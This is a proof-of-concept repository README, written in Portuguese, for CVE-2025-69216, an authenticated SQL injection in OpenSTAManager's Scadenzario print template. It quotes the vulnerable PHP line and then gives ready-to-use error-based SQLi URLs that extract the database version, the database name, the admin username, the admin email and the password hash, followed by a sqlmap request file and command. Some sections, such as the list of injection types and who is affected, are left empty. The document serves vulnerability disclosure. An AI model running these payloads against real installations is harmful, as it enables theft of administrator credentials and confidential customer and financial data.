
Repositório de prova de conceito para CVE-2025-69216, uma injeção SQL autenticada no template de impressão Scadenzario do OpenSTAManager, permitindo a extração de credenciais de administrador e do conteúdo do banco de dados por meio de SQLi baseada em erro e cega.
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2025-69216 |
| Gravidade | HIGH |
| Aviso de Segurança | Ver Aviso de Segurança |
| Descoberto por | Lukasz Rybak |
Uma vulnerabilidade de injeção de SQL autenticada no modelo de impressão Scadenzario (Cronograma de Pagamentos) do OpenSTAManager permite que qualquer usuário autenticado extraia dados confidenciais do banco de dados, incluindo credenciais de administrador, informações de clientes e registros financeiros. A vulnerabilidade possibilita acesso completo de leitura ao banco de dados por meio de técnicas de injeção de SQL baseadas em erro.
A vulnerabilidade existe em templates/scadenzario/init.php na linha 46, onde o parâmetro id_anagrafica é concatenado diretamente em uma consulta SQL sem a sanitização adequada:
Código Vulnerável:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
A função get() obtém a entrada do usuário a partir de parâmetros GET/POST sem validação. O valor do parâmetro é incorporado diretamente na string da consulta SQL usando concatenação de strings, em vez da função de sanitização prepare() da aplicação, possibilitando ataques de injeção de SQL.
Causa raiz:
prepare() para sanitização de entradaEndpoint Afetado:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
Arquivos Afetados:
templates/scadenzario/init.php (linha 46) - Vulnerabilidade primáriatemplates/scadenzario/init.php (linhas 34, 40) - Padrão semelhante com parâmetros de datapdfgen.php - Ponto de entrada para a renderização do modelo1. Confirmar a Vulnerabilidade - Teste Básico de Erro de Sintaxe:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
Erro de sintaxe SQL exibido na resposta da aplicação

2. Extrair a Versão do Banco de Dados - SQLi Baseada em Erro:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Resultado: ~8.3.0~ (versão do MySQL)

3. Extrair o Nome do Banco de Dados:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Resultado: ~openstamanager~

4. Extrair o Nome de Usuário do Administrador:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Resultado: ~admin~

5. Extrair o E-mail do Administrador:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Resultado: Endereço de e-mail do administrador

6. Extrair o Hash da Senha (Parcial - Limite de 31 caracteres do XPATH):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Resultado: hash da senha bcrypt

7. Exploração Automatizada com SQLMap:
Crie o arquivo de requisição sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Execute o SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
Tipos de Injeção Confirmados pelo SQLMap:

Quem é Afetado:
Reportado por Łukasz Rybak
Este CVE foi divulgado de forma responsável, seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.